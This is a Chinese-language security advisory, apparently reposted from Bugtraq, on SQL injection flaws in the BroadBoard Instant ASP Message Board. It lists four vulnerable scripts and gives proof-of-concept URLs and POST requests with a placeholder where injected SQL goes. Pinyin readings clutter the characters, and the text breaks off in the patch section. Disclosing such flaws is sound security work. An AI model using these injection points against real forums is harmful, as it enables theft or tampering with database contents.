第第頁(yè)BroadBoardInstantASPMessageBoard遠(yuǎn)程SQL注入漏洞BroadBoardInstantASPMessageBoard遠(yuǎn)程SQL注入漏洞

發(fā)表于：2023-05-25來(lái)源：：點(diǎn)擊數(shù)：標(biāo)簽：

涉及程序：ASP的論壇程序描述：BroadBoardInstantASPMessageBoard遠(yuǎn)程SQL注入漏洞詳細(xì)：BroadBoardInstantASPMessageBoard是一款基于ASP的論壇程序。BroadBoardInstantASPMessageBoard多個(gè)腳本不正確過(guò)濾用戶提交的URI請(qǐng)求，遠(yuǎn)程攻

涉及程序：

ASP的論壇程序

描述：

BroadBoardInstantASPMessageBoard遠(yuǎn)程（SQL）注入漏洞

詳細(xì)：

BroadBoardInstantASPMessageBoard是一款基于ASP的論壇程序。

BroadBoardInstantASPMessageBoard多個(gè)腳本不正確過(guò)濾用戶提交的URI請(qǐng)求，遠(yuǎn)程攻擊者可以利用這個(gè)漏洞進(jìn)行SQL注入攻擊。

程序的'search.asp'、'profile.asp'、'reg2.asp'和'forgot.asp'對(duì)用戶提交的多個(gè)URI參數(shù)缺少過(guò)濾，提交包含惡意SQL命令的數(shù)據(jù)作為參數(shù)，可導(dǎo)致更改原有數(shù)據(jù)庫(kù)邏輯，可能獲得敏感數(shù)據(jù)或操作數(shù)據(jù)庫(kù)。

*來(lái)源：pigrelax（pigrelax@yandex.ru）

鏈接：/?l=bugtraqm=109630777608244w=2

*

攻擊方法：

以下程序(方法)可能帶有攻擊性，僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)！

pigrelax（pigrelax@yandex.ru）提供了如下測(cè)試方法：

http://broadboard/forum/search.asp?archives=1action=1keywords=['SQLcode]method=1method=1body=1subject=1board=1results=1

http://broadboard/forum/profile.asp?handle=['SQLcode]

POST/forum/reg2.aspHTTP/1.1

Host:broadboard

Content-Type:application/x-www-form-urlencoded

Content-Length:121

txtNameFirst=1txtNameLast=1txtUserEmail=sales@txtUserHandle=

['SQLcode]txtUserPwd=1txtUserCPwd=1cmdRegister=1

POST/forum/forgot.aspHTTP/1.1

Host:broadboard

Content-Type:application/x-www-form-urlencoded

Content-Length:24

txtUserEmail=['SQLcode]cmdSend=1

解決方案：

廠商補(bǔ)丁：

BroadBoard

目前廠商還